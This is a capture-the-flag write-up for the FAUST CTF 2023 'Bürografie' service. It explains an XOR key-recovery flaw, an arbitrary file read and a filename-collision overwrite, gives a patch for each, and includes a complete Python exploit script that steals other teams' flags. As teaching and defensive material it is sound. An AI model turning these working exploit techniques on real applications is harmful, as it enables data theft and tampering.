Bürografie | FAUST CTF 2023

The app had (at least :D) two exploits and also two flag storages. The checker would upload two flags each round.

  • Flag Store 1: The public message "Your message to the world"
  • Flag Store 2: The uploaded file "Upload your personal office supply"

Flag Store 1

The flag is stored in the database. Before that, it is encrypted using a simple XOR.

function blockencrypt(msg, key, len) {
  var encmsg = [];
  for (var i = 0; i < len; i++) {
    encmsg.push(msg[i] ^ key[i]);
  }
  return Buffer.from(encmsg);
}

// ...

var keyBuffer = crypto.pbkdf2Sync(result[0].password, 'salt', 10, len, 'sha256');
var msg_id = crypto.randomBytes(len);
var msg = (new TextEncoder()).encode(req.body.message);
var encmsgid = blockencrypt(keyBuffer, msg_id, len);
var encmsg = blockencrypt(keyBuffer, msg, len);
msg = encmsg.toString('hex') + msg_id.toString('hex') + encmsgid.toString('hex');
sql = `update stafftbl set message = ? where username = ?`;
db.query(sql, [msg, user], (req, result) => { ...

We can retrieve any message in its encrypted form through the endpoint /staff/message/<username>. We can grab a set of valid usernames from the attack data for this service.

Luckily for us, the crypto is flawed and allows recovery of the key.

Reverting the cipher

The encrypted message consists of three parts of equal length: encmsg, msg_id and encmsgid.

  • encmsg is the result of the msg (the flag) XOR'ed with keyBuffer. keyBuffer is derived from the user-password using pbkdf2Sync. We assume this is safe.
  • msg_id is random bytes.
  • encmsgid is the msg_id XOR'ed with keyBuffer.

We have two components of the last XOR operation, encmsgid and msg_id. That means we can reverse this operation. encmsgid XOR msg_id results in keyBuffer. Having keyBuffer allows us to reverse the operation on encmsg as well.

Baking it into python

(Not shown: Register & Login, complete DestructiveFarm-Script at the end)

def split(list_a, chunk_size):
    # from https://www.programiz.com/python-programming/examples/list-chunks
    for i in range(0, len(list_a), chunk_size):
        yield list_a[i:i + chunk_size]

def blockencrypt(inp: bytes, key: bytes):
    assert len(inp) == len(key)
    return bytes([i ^ k for i, k in zip(inp, key)])

class Exploit:
  ...
  def get_message(self, username):
      print("Get Message", username)
      response = self.session.get(f"{self.base_url}/staff/message/{username}")
      message = response.json()['message']

      encmsg, msg_id, encmsgid = split(message, int(len(message) / 3))

      bencmsg = bytes.fromhex(encmsg)
      bmsg_id = bytes.fromhex(msg_id)
      bencmsgid = bytes.fromhex(encmsgid)

      keyBuffer = blockencrypt(bencmsgid, bmsg_id)
      original = blockencrypt(bencmsg, keyBuffer)

      return original.decode()

Fix it

We had no clue what the checker would check for. We tried restricting the public message of a user to be only available to that user. That did not make the checker happy.

In the end, we replaced the msg_id part of the stored message with another set of random bytes.

var keyBuffer = crypto.pbkdf2Sync(result[0].password, 'salt', 10, len, 'sha256');
var msg_id = crypto.randomBytes(len);

var msg = (new TextEncoder()).encode(req.body.message);
var encmsgid = blockencrypt(keyBuffer, msg_id, len);
var encmsg = blockencrypt(keyBuffer, msg, len);

var fake_msg_id = crypto.randomBytes(len);
msg = encmsg.toString('hex') + fake_msg_id.toString('hex') + encmsgid.toString('hex');

Checker was happy and we weren't losing any more flags.

Flag Store 2

The site allows you to upload a file. The file is placed on the disk in plain text. You can only upload one file. The file can be retrieved through the /staff/supply/ endpoint. The file upload is managed by multer. multer also handles the filename on disk.

const storage = multer.diskStorage({
  destination: (req, file, cb) => {
    cb(null, 'uploads');
  },
  filename: (req, file, cb) => {
    var  newname = crypto.createHash('sha1').update(req.session.user + file.originalname).digest('hex');
    cb(null, newname);
  }
});

The /staff/supply/:fn-endpoint delivers us the uploaded file. The relevant code is shown below. It is first checked if the user has uploaded a file. If not, an error is shown. If yes, the file is sent.

app.get('/staff/supply/:fn', (req, res) => {
  var fn = '/app/uploads/' + req.params.fn;
  var user = req.session.user;
  console.log('Get staff supply: ' + fn);
  var sql = `select supplyname from supplytbl where username = ?`;
  db.query(sql, [user], (err, result) => {
    if(err) {
      console.log('Get staff supply: ' + err.message);
      res.status(500).send({'status': 'null'});
    } else if (result.length == 0) {
      console.log('Get staff supply: supply empty');
      res.status(404).send({'status': 'supply not found'});
    } else {
      res.setHeader('Content-Type', 'text/plain');
      res.status(200).sendFile(fn);
    }
  });
});

Arbitrary file read

Take a look at the sql query. It will return a row once you uploaded a file for the currently logged-in user. Getting at least one row here will bring us directly to the else block where the file of the other user is being returned instead of our file. The security flaw is that the returned file is not based on the query result but rather solely on an HTTP request query parameter.

We can download any file, we just need to know the filename. multer combines username and original filename into a sha1 hash. Luckily, we get the username and the filename from the attack data for this service.

Assembling this is simple. We can use python for that and include it in our exploit script.

def calc_hash(username, filename):
    return hashlib.sha1(username.encode('utf-8') + filename.encode('utf8')).hexdigest()


class Exploit:
    ...

    def get_file(self, thehash):
        print("Get File", thehash)
        # print("Trying", f"{self.base_url}/staff/supply/{thehash}")
        response = self.session.get(f"{self.base_url}/staff/supply/{thehash}")
        print("Got file", response.text)
        return response.text

Plug the hole

Our fix restricted the access to the file to the user it belongs to. We only changed the sendFile line.

var newname = crypto.createHash('sha1').update(req.session.user + result[0].supplyname).digest('hex');
res.status(200).sendFile('/app/uploads/' + newname);

As a result, the endpoint would not return the requested file, but the file belonging to the logged-in user instead.

Another option would have been to calculate a hash of the filename (supplyname) from the database and compare that to the filename from the HTTP request query parameter. That would also allow returning a proper error. We opted for confusion instead :P

Bonus: Denial of Service

We only learned this after the CTF, but it's still worth mentioning. The file storage was prone to a denial of service attack. This means you can overwrite arbitrary files and therefore remove or corrupt flags of other teams, lowering their SLA and preventing other teams from getting flags.

The vulnerability is a filename collision from the expression req.session.user + file.originalname. We, as an attacker, control both parts of this expression. Therefore, we can produce any string by choosing username and filename correctly.

Example

The CTF checker registers an account named checker01. It then uploads a file named flag01. Concatting results in checker01flag01 and hashing produces the hash ca72450a57a74aac795b74471ef98dfa3a5c0e5a.

Now the attacker comes along. The attacker knows both username and filename of the user. The attacker chooses checker01fl as username and ag01 as filename. Concatting results in checker01flag01 and hashing produces ca72450a57a74aac795b74471ef98dfa3a5c0e5a.

The javascript code does not check whenever a file exists or not. It just overrides it.

Potential fix

We didn't find it during the CTF, so we don't know if this fix really worked with the checker.

The obvious fix here is to check whenever the file is existing or not. In a real world scenario, this would still lead not be sufficient as users could still trigger a collision accidentally, resulting in a failed file upload.

Another way would be to "harden" the hash/filename, so it is truly unique. In general, we need an Element that is not controllable by the user. The user id should work here. However, inserting it into the hash still leaves little room for collision if the checker username starts with a number.

const storage = multer.diskStorage({
  destination: (req, file, cb) => {
    cb(null, 'uploads');
  },
  filename: (req, file, cb) => {
    var  newname = crypto.createHash('sha1').update(req.session.staffid + req.session.user + file.originalname).digest('hex');
    cb(null, newname);
  }
});

Another option would be to add the id in the front, before hashing. This part is not controllable by the user, however, if the indention behind hashing username and filename was to anonymize the files, we have essentially defeated that purpose.

Of course, this is not really relevant in a CTF. But it would be, if this were a real application.

const storage = multer.diskStorage({
  destination: (req, file, cb) => {
    cb(null, 'uploads');
  },
  filename: (req, file, cb) => {
    var  newname = req.session.staffid + "_" + crypto.createHash('sha1').update(req.session.user + file.originalname).digest('hex');
    cb(null, newname);
  }
});

The user id is not present in the session by default. We need to insert it by changing the login-route.

app.post('/login', (req, res, next) => {
  const user = req.body.user;
  const pass = req.body.pass;

  if (user == undefined || pass == undefined) {
    console.log('Login failed: empty')
    return res.status(400).send({'status': 'empty username or password'})
  }

  // CHANGE: Insert staffid in query to return data from DB
  var sql = `select staffid, username, password from stafftbl where username = ?`;
  db.query(sql, [user], (err, result) => {
    if (err) {
      console.log('Post login failed: ' + err.message)
      return res.status(500).send({'status': 'null'});
    }

    if (result.length != 1) {
      console.log('Post login failed: none or multi user')
      return res.status(401).send({'status': 'Login failed'});
    }

    if (user == result[0].username && pass == result[0].password) {
      req.session.regenerate((err) => {
        if (err) next(err);
        req.session.user = user;
        // CHANGE: Store staffid in session
        req.session.staffid = result[0].staffid;
        console.log('Post login session: ' + JSON.stringify(req.session));
        req.session.save((err) => {
          if (err)
            return next(err)
          console.log('Post login succeeded: ' + user);
          res.redirect('/staff');
        });
      });
    } else if (user == result.username && pass != result.password) {
      console.log('Post login failed: wrong password')
      return res.status(401).send({'status': 'null'});
    } else {
      console.log('Post login failed: TODO')
      return res.status(401).send({'status': 'null'});
    }
  });
});

Full exploit in DestructiveFarm

(Not shown: Our faust module. Returns attack-data for given service and team, manages local cache of file to reduce load on infra.)

Wrapping it up, we need to:

  1. Register a new account
  2. Login to the new account
  3. Upload a file
  4. Attack flag store 1
    1. Retrieve the secret with the username in the attack data
    2. Revert the XOR to get the plaintext flag
  5. Attack flag store 2
    1. Calculate the file hash from the username and the filename in the attack data
    2. Download the file
#!/usr/bin/env python3

import json

import requests
import faust
import hashlib
import sys

from argparse import ArgumentParser

from typing import List, Tuple
import random
import string

def split(list_a, chunk_size):
    for i in range(0, len(list_a), chunk_size):
        yield list_a[i:i + chunk_size]


def blockencrypt(inp: bytes, key: bytes):
    assert len(inp) == len(key)
    return bytes([i ^ k for i, k in zip(inp, key)])


class Exploit:

    def __init__(self, host, port, username):
        self.session = requests.Session()
        self.base_url = f"http://{host}:{port}"
        self.username = username

    def register(self, username, password):
        print("Register")
        resp = self.session.post(f"{self.base_url}/register", data={
            "user": username,
            "pass": password,
            "pass2": password,
            "submit": "sign up"
        })

        # assert resp.status_code == 200

    def login(self, username, password):
        print("Login")
        resp = self.session.post(f"{self.base_url}/login", data={
            "user": username,
            "pass": password,
            "submit": "login"
        })

        assert resp.status_code == 200

    def upload_any_file(self):
        print("Upload")
        resp = self.session.post(
            f"{self.base_url}/staff/supply",
            files={
                'supply': ('buerofile.txt', open('buerofile.txt', "rb"))
            }
        )

        # assert resp.status_code == 200

    def get_file(self, thehash):
        print("Get File", thehash)
        # print("Trying", f"{self.base_url}/staff/supply/{thehash}")
        response = self.session.get(f"{self.base_url}/staff/supply/{thehash}")
        print("Got file", response.text)
        return response.text

    def get_message(self, username):
        print("Get Message", username)
        response = self.session.get(f"{self.base_url}/staff/message/{username}")
        message = response.json()['message']

        encmsg, msg_id, encmsgid = split(message, int(len(message) / 3))

        bencmsg = bytes.fromhex(encmsg)
        bmsg_id = bytes.fromhex(msg_id)
        bencmsgid = bytes.fromhex(encmsgid)

        keyBuffer = blockencrypt(bencmsgid, bmsg_id)
        original = blockencrypt(bencmsg, keyBuffer)

        return original.decode()

    def run_exploit(self, users: List[str], hashes: List[str]):
        username = self.username
        password = get_random_string(12)

        self.register(username, password)
        self.login(username, password)
        self.upload_any_file()

        fileflags = [self.get_file(thehash) for thehash in hashes]
        messageflags = [self.get_message(user) for user in users]

        return fileflags + messageflags


def get_random_string(length):
    return ''.join(random.choice(string.ascii_letters) for _ in range(length))


def calc_hash(username, filename):
    return hashlib.sha1(username.encode('utf-8') + filename.encode('utf8')).hexdigest()


if __name__ == "__main__":
    parser = ArgumentParser("hacx")
    parser.add_argument("host", default="[fd66:666:964::2]", nargs="?")
    args = parser.parse_args()

    host = args.host
    port = 13731

    data = faust.get_service_data(faust.get_team_from_host(host), "buerographie")

    ignored_teams = [
        "[fd66:666:1::2]"
        "[fd66:666:964::2]"
    ]

    if host in ignored_teams:
        print("Host is patched, we ignore it", file=sys.stderr, flush=True)
        exit(0)

    hashes = []
    users = []
    for round in data:
        round_data = json.loads(round)
        hashes.append(calc_hash(round_data['username'], round_data['supplyname']))
        users.append(round_data['username'])

    # We used usernames from our own attack data to blend in with the rest
    ourdata = json.loads(next(iter(faust.get_service_data(964, 'buerographie'))))
    username = ourdata["username"]

    exploit = Exploit(host, port, username)
    flags = exploit.run_exploit(users, hashes)
    for flag in flags:
        print(flag)

links

social